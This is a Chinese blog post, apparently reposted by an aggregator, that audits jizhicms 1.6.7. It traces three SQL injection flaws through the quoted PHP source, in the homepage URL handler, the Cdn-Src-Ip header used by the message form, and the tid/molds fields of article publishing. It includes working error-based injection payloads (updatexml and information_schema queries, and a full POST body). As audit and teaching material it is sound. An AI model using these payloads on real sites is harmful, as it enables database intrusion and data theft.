17-PHP代码审计——jizhicms1.6.7 sql注入漏洞分析
Posted songly_
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了17-PHP代码审计——jizhicms1.6.7 sql注入漏洞分析相关的知识,希望对你有一定的参考价值。
目录
漏洞说明:jizhicms是一个基于thinkphp框架开发的开源php cms,1.6.7版本的前台页面和用户中心存在sql注入,漏洞产生的原因主要是因为对于前台提交的数据过滤不足。
漏洞影响版本:
jizhicms_Beta1.6.7以下
漏洞环境:
php7.0.12
jizhicms_Beta1.6.7
把jizhicms解压到网站根目录,访问install目录下进行安装,jizhicms目录结构:
目录结构说明:
install :用于存放cms的安装目录文件
index.php: 前台入口文件
static:静态资源文件目录
Home:前台控制文件
admin.php:后台入口文件
A: 后台控制文件
FrPHP :框架
backup :备份目录
核心过滤函数为FrPHP\\lib\\目录下的Controller.php文件,frparam函数内部调用了 format_param函数对GET和POST提交的数据都进行了过滤。
// 获取URL参数值
public function frparam($str=null, $int=0,$default = FALSE, $method = null){
$data = $this->_data;
if($str===null) return $data;
if(!array_key_exists($str,$data)){
return ($default===FALSE)?false:$default;
}
if($method===null){
$value = $data[$str];
}else{
$method = strtolower($method);
switch($method){
case 'get':
$value = $_GET[$str];
break;
case 'post':
$value = $_POST[$str];
break;
case 'cookie':
$value = $_COOKIE[$str];
break;
}
}
//过滤数据
return format_param($value,$int);
}
format_param函数具体实现如下
/**
参数过滤,格式化
**/
function format_param($value=null,$int=0){
if($value==null){ return '';}
switch ($int){
case 0://整数
return (int)$value;
case 1://字符串
$value=htmlspecialchars(trim($value), ENT_QUOTES);
if(!get_magic_quotes_gpc())$value = addslashes($value);
return $value;
case 2://数组
if($value=='')return '';
array_walk_recursive($value, "array_format");
return $value;
case 3://浮点
return (float)$value;
case 4:
if(!get_magic_quotes_gpc())$value = addslashes($value);
return trim($value);
}
}
format_param函数过滤方式由frparam函数的参数二指定,对字符串的处理使用了addslashes函数和htmlspecialchars函数过滤。
漏洞一:前台首页sql注入
在前台首页中存在一处sql注入,访问http://www.jizhicms.com/1' ,页面直接返回了数据库的报错信息
从页面给出的报错信息来看,sql语句是单引号闭合的。
找到首页对应的HomeController定位到jizhi函数,变量$url就是我们提交的数据
//栏目
function jizhi(){
//接收前台所有的请求
$request_url = str_replace(APP_URL,'',REQUEST_URI);
$position = strpos($request_url,'?');
$url = ($position!==FALSE) ? substr($request_url,0,$position) : $request_url;
$url = substr($url,1,strlen($url)-1);
if($url=='' || $url=='/' || $url=='index.php' || $url=='index'.File_TXT){
$this->index();exit;
}
//检查缓存
$cache_file = APP_PATH.'cache/data/'.md5(frencode($url));
$this->cache_file = $cache_file;
if(!$this->frparam('ajax')){
$this->start_cache($cache_file);
}
// news/123.html news-123.html news-list-123.html
$url = str_ireplace(File_TXT,'',$url);
//斜杠的目的是为了绕过if判断
if(!$this->webconf['islevelurl']){
//没有开启URL层级
if(strpos($url,'/')!==false){
$urls = explode('/',$url);
//内容详情页
$html = $urls[0];
$id = (int)$urls[1];
$res = M('classtype')->find(array('htmlurl'=>$html));
}else{
//栏目页
$this->frpage = $this->frparam('page',0,1);
//这里if不满足条件会调用find执行sql
if(strpos($url,'-')!==false){
//检测是否为分页
$res = M('classtype')->find(array('htmlurl'=>$url));
if(!$res){
//存在分页,取最后一个字符串
$html_x = explode('-',$url);
$this->frpage = array_pop($html_x);
if(!$this->frpage){
$this->error('链接错误!');exit;
}
$html = implode('-',$html_x);//再次拼接
$res = M('classtype')->find(array('htmlurl'=>$html));
}else{
//不是分页
}
}else{
$html = $url;
//执行sql,这一步存在sql注入
$res = M('classtype')->find(array('htmlurl'=>$html));
}
}
jizhi函数内部没有调用核心过滤函数对提交的数据进行过滤,而是直接调用了find函数。
find函数内部调用了findAll函数,把数据给$where作为查询条件
//查询一条
public function find($where=null,$order=null,$fields=null,$limit=1) {
if( $record = $this->findAll($where, $order, $fields, 1) ){
return array_pop($record);
}else{
return FALSE;
}
}
findAll函数内部具体实现
// 查询所有
public function findAll($conditions=null,$order=null,$fields=null,$limit=null){
$where = '';
if(is_array($conditions)){
$join = array();
foreach( $conditions as $key => $value ){
$value = '\\''.$value.'\\'';
$join[] = "{$key} = {$value}";
}
$where = "WHERE ".join(" AND ",$join);
}else{
if(null != $conditions)$where = "WHERE ".$conditions;
}
if(is_array($order)){
$where .= ' ORDER BY ';
$where .= implode(',', $order);
}else{
if($order!=null)$where .= " ORDER BY ".$order;
}
if(!empty($limit))$where .= " LIMIT {$limit}";
$fields = empty($fields) ? "*" : $fields;
$table = self::$table;
//构造sql语句
$sql = "SELECT {$fields} FROM {$table} {$where}";
return $this->db->getArray($sql);
}
findAll函数内部直接拼接sql,getArray函数执行sql语句会报错。由于页面会将sql执行的报错信息返回页面,这里我们可以使用报错注入的方式把当前数据库名,表名,表字段等信息全部爆出来。
暴当前数据库名:
poc:
//当前数据库的所有表名
1' and 1=updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)%23
//当前表字段个数,由于order by 20会报错,而order by 19只显示404页面,说明当前表的字段个数只有19个
1' order by 19%23
漏洞二:前台留言界面sql注入
在前台留言界面随便输入问题,手机号,问题描述信息,在http字段中添加一个Cdn-Src-Ip字段,其内容如下所示:
直接返回了mysql数据库的报错信息,并把当前数据库名暴出来了
分析留言功能的后台代码,找到home/c目录下的MessageController,这个controller只有一个index方法
function index(){
//接收数据
if($_POST){
$w = $this->frparam();
$w = get_fields_data($w,'message',0);
//对留言中提交的内容进行过滤
$w['body'] = $this->frparam('body',1,'','POST');
$w['user'] = $this->frparam('user',1,'','POST');
$w['tel'] = $this->frparam('tel',1,'','POST');
$w['aid'] = $this->frparam('aid',0,0,'POST');
$w['tid'] = $this->frparam('tid',0,0,'POST');
if($this->webconf['autocheckmessage']==1){
$w['isshow'] = 1;
}else{
$w['isshow'] = 0;
}
//GetIP函数的功能时获取请求客户端的ip地址信息
$w['ip'] = GetIP();
$w['addtime'] = time();
if(isset($_SESSION['member'])){
$w['userid'] = $_SESSION['member']['id'];
}
if($this->frparam('title',1,'','POST')==''){
//$this->error('标题不能为空!');
if($this->frparam('ajax')){
JsonReturn(['code'=>1,'msg'=>'标题不能为空!']);
}
Error('标题不能为空!');
}
if($w['user']==''){
//$this->error('姓名不能为空!');
if($this->frparam('ajax')){
JsonReturn(['code'=>1,'msg'=>'称呼不能为空!']);
}
Error('称呼不能为空!');
}
$w['title'] = $this->frparam('title',1);
//仅在存在手机号的情况进行检测手机号是否有效-可自由设置
if($w['tel']!=''){
if(!preg_match("/^(13[0-9]|14[579]|15[0-3,5-9]|16[6]|17[0135678]|18[0-9]|19[89])\\\\d{8}$/",$w['tel'])){
//$this->error('您的手机号格式不正确!');
if($this->frparam('ajax')){
JsonReturn(['code'=>1,'msg'=>'您的手机号格式不正确!']);
}
Error('您的手机号格式不正确!');
}
}
if(!isset($_SESSION['message_time'])){
$_SESSION['message_time'] = time();
$_SESSION['message_num'] = 0;
}
if(($_SESSION['message_time']+10*60)<time()){
$_SESSION['message_num'] = 0;
}
$_SESSION['message_num']++;
if($_SESSION['message_num']>10 && ($_SESSION['message_time']+10*60)<time()){
//$this->error('您操作过于频繁,请10分钟后再尝试!');
if($this->frparam('ajax')){
JsonReturn(['code'=>0,'msg'=>'您操作过于频繁,请10分钟后再尝试!']);
}
Error('您操作过于频繁,请10分钟后再尝试!');
}
//保存留言信息到数据库
$res = M('message')->add($w);
if($res){
if($this->frparam('ajax')){
JsonReturn(['code'=>1,'msg'=>'提交成功!我们会尽快回复您!','url'=>get_domain()]);
}
Success('提交成功!我们会尽快回复您!',get_domain());
}else{
if($this->frparam('ajax')){
JsonReturn(['code'=>1,'msg'=>'提交失败,请重试!']);
}
//$this->error('提交失败,请重试!');
Error('提交失败,请重试!');
}
}
分析以上代码可知,index接收POST数据后进行了过滤,然后调用了GetIP函数获取客户端ip地址,把POST的数据和客户端的ip地址放到数组w中,调用add函数将数据保存到数据库中。
我们来分析一下GetIP函数的实现:
function GetIP(){
static $ip = '';
$ip = $_SERVER['REMOTE_ADDR'];
if(isset($_SERVER['HTTP_CDN_SRC_IP'])) {
$ip = $_SERVER['HTTP_CDN_SRC_IP'];
} elseif (isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}\\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif(isset($_SERVER['HTTP_X_FORWARDED_FOR']) AND preg_match_all('#\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) {
foreach ($matches[0] AS $xip) {
if (!preg_match('#^(10|172\\.16|192\\.168)\\.#', $xip)) {
$ip = $xip;
break;
}
}
}
return $ip;
}
GetIP函数内部获取了REMOTE_ADDR,HTTP_CDN_SRC_IP,HTTP_CLIENT_IP,HTTP_X_FORWARDED_FOR的http字段的ip地址,这4个http字段都是可控的,但其中HTTP_CLIENT_IP,HTTP_X_FORWARDED_FOR这两个字段都用正则过滤了,那么只有HTTP_CDN_SRC_IP是可控的且没有过滤,因此我们可以伪造该字段的值(前面我们说客户端的ip是可控的不严谨,严格来说应该是http请求头的HTTP_CDN_SRC_IP字段是可控,可绕过的)。
漏洞三:用户文章发布sql注入
用户中心文章发布存在sql注入,这次我们不先讲漏洞的利用,在此之前先来看一下用户正常发布文章的流程:
在burpsuite工具抓到的http请求包中的请求消息部分中可以看到提交的数据内容,我们接下来将根据请求消息部分来分析文章发布功能的sql注入。
然后找到UserController中文章发布功能对应的release函数
//文章发布和修改
function release(){
$this->checklogin();
error_reporting(E_ALL^E_NOTICE);
//接收数据
if($_POST){
//过滤,由于没有传参,所以这里又直接返回了data
$data = $this->frparam();
//只传了一个参数
$w['tid'] = $this->frparam('tid');
if(!$w['tid']){
Error('请选择分类!');
}
if(!isset($this->classtypedata[$w['tid']])){
Error('分类错误!');
}
$w['molds'] = $this->classtypedata[$w['tid']]['molds'];
$w = get_fields_data($data,$w['molds']);
$w['htmlurl'] = $this->classtypedata[$w['tid']]['htmlurl'];
$sql = array();
//如果tid不为空则拼接sql
if($w['tid']!=0){
$sql[] = " tids like '%,".$w['tid'].",%' ";
}
//w数组中的molds可控
$sql[] = " molds = '".$w['molds']."' and isshow=1 ";
$sql = implode(' and ',$sql);
//执行sql,
$fields_list = M('Fields')->findAll($sql,'orders desc,id asc');
if($fields_list){
foreach($fields_list as $v){
if($v['ismust']==1){
if($data[$v['field']]==''){
if(in_array($v['fieldtype'],array(6,10))){
if($data[$v['field'].'_urls']==''){
Error($v['fieldname'].'不能为空!');
}
}else{
Error($v['fieldname'].'不能为空!');
}
}
}
}
}
switch($w['molds']){
case 'article':
if(!$data['body']){
Error('内容不能为空!');
}
if(!$data['title']){
Error('标题不能为空!');
}
$data['body'] = $this->frparam('body',4);
$w['title'] = $this->frparam('title',1);
$w['seo_title'] = $w['title'];
$w['keywords'] = $this->frparam('keywords',1);
$w['litpic'] = $this->frparam('litpic',1);
$w['body'] = $data['body'];
$w['description'] = newstr(strip_tags($data['body']),200);
break;
case 'product':
if(!$data['body']){
Error('内容不能为空!');
}
if(!$data['title']){
Error('标题不能为空!');
}
$w['title'] = $this->frparam('title',1);
$w['seo_title'] = $w['title'];
$w['litpic'] = $this->frparam('litpic',1);
$w['keywords'] = $this->frparam('keywords',1);
$w['pictures'] = $this->frparam('pictures',1);
if($this->frparam('pictures_urls',2)){
$w['pictures'] = implode('||',$this->frparam('pictures_urls',2));
}
$data['body'] = $this->frparam('body',4);
$w['body'] = $data['body'];
if($this->frparam('description',1)){
$w['description'] = $this->frparam('description',1);
}else{
$w['description'] = newstr(strip_tags($data['body']),200);
}
break;
default:
break;
}
$w['isshow'] = 0;//修改后的文章一律为未审核
$w['member_id'] = $this->member['id'];
$w['addtime'] = time();
if($this->frparam('id')){
$a = M($w['molds'])->update(['id'=>$this->frparam('id')],$w);
if(!$a){ Error('修改失败,请重试!');}
Success('修改成功!',U('user/posts'));
}else{
$a = M($w['molds'])->add($w);
if(!$a){ Error('发布失败,请重试!');}
Success('发布成功!',U('user/posts'));
}
}
$molds = $this->frparam('molds',1,'article');
$tid = $this->frparam('tid',0,0);
if($this->frparam('id')){
$this->data = M($molds)->find(['id'=>$this->frparam('id'),'member_id'=>$this->member['id']]);
$molds = $this->data['molds'];
$tid = $this->data['tid'];
}else{
$this->data = false;
}
$this->molds = $molds;
$this->tid = $tid;
$this->classtypetree = get_classtype_tree();
$this->display($this->template.'/user/article-add');
}
release函数内部接收了提交的POST数据,然后调用了frparam核心过滤函数,由于this对象调用frparam函数没有传参,data的数据是没有过滤的,然后调用了一个比较关键的get_fields_data函数。
get_fields_data函数内部实现:
function get_fields_data($data,$molds,$isadmin=1){
//判断是否为后台
if($isadmin){
$fields = M('fields')->findAll(['molds'=>$molds,'isadmin'=>1],'orders desc,id asc');
}else{
//前台需要判断是否前台显示
$fields = M('fields')->findAll(['molds'=>$molds,'isshow'=>1],'orders desc,id asc');
}
//过滤
foreach($fields as $v){
if(array_key_exists($v['field'],$data)){
switch($v['fieldtype']){
case 1:
case 2:
case 5:
case 7:
case 9:
case 12:
$data[$v['field']] = format_param($data[$v['field']],1);
break;
case 11:
$data[$v['field']] = strtotime(format_param($data[$v['field']],1));
break;
case 3:
$data[$v['field']] = format_param($data[$v['field']],4);
break;
case 4:
case 13:
$data[$v['field']] = format_param($data[$v['field']]);
break;
case 14:
$data[$v['field']] = format_param($data[$v['field']],3);
break;
case 8:
$r = implode(',',format_param($data[$v['field']],2));
if($r!=''){
$r = ','.$r.',';
}
$data[$v['field']] = $r;
break;
}
}else if(array_key_exists($v['field'].'_urls',$data)){
switch($v['fieldtype']){
case 6:
case 10:
$data[$v['field']] = implode('||',format_param($data[$v['field'].'_urls'],2));
break;
}
}else{
$data[$v['field']] = '';
}
}
return $data;
}
get_fields_data函数是提交的表单的字段里的内容,如果findAll函数查询的结果为空($fields为空)会绕过format_param函数的过滤,直接返回$data的内容(findAll函数的结果同样也可以通过molds来控制),默认情况下findAll函数返回的$fields为空。
再回到release函数中,get_fields_data函数将返回的data赋值给数组w,这一步操作会将之前过滤之后的tid的内容做一个覆盖(绕了一圈,你又给我绕回来了,好家伙),然后拼接sql并调用findAll函数执行sql,同时还把molds也拼接到sql语句中了,也就是说,POST提交的tid和molds都存在注入:
if($w['tid']!=0){
$sql[] = " tids like '%,".$w['tid'].",%' ";
}
$sql[] = " molds = '".$w['molds']."' and isshow=1 ";
那么我们可以构造tid的值再次发起请求:
成功返回了数据库的报错信息把当前数据库名成功爆出来了。
构造molds的poc:
id=&isshow=&molds=article' and 1=updatexml(1,concat(0x7e,(select database())),3)#&tid=2&title=biaoti&keywords=guanjianzi&litpic=&file_litpic=&description=jianjie&submit=%E6%8F%90%E4%BA%A4&body=%3Cp%3Eneirong%3C%2Fp%3E
总结:
本次sql注入漏洞总体来说并不是很难,但真正自己实践的时候总是会碰到各种坑和问题,分析漏洞的过程中难免要借鉴大佬的思路(好吧,其实主要还是自己太菜了,代码审计之路任重而道远啊),最后总结一下分析的一些思路和心得吧:
- 分析该功能点是否有和数据库交互(CRUD)定位分析数据库操作的关键函数,例如查询操作的find或者findAll函数,增加操作的add函数,删除操作的delete函数等等......
- 分析函数中的参数是否可控(经过了哪些处理),如果没有过滤则分析参数是否可以构造sql语句,如果有过滤的函数则分析过滤规则是否可绕过
- 一定要有耐心,同时还要细心
- 学习大佬的思路,各种奇淫技巧
PS:感觉自己对thinkphp的控制器和路由机制不熟悉,需要从头开始学习一遍了。
以上是关于17-PHP代码审计——jizhicms1.6.7 sql注入漏洞分析的主要内容,如果未能解决你的问题,请参考以下文章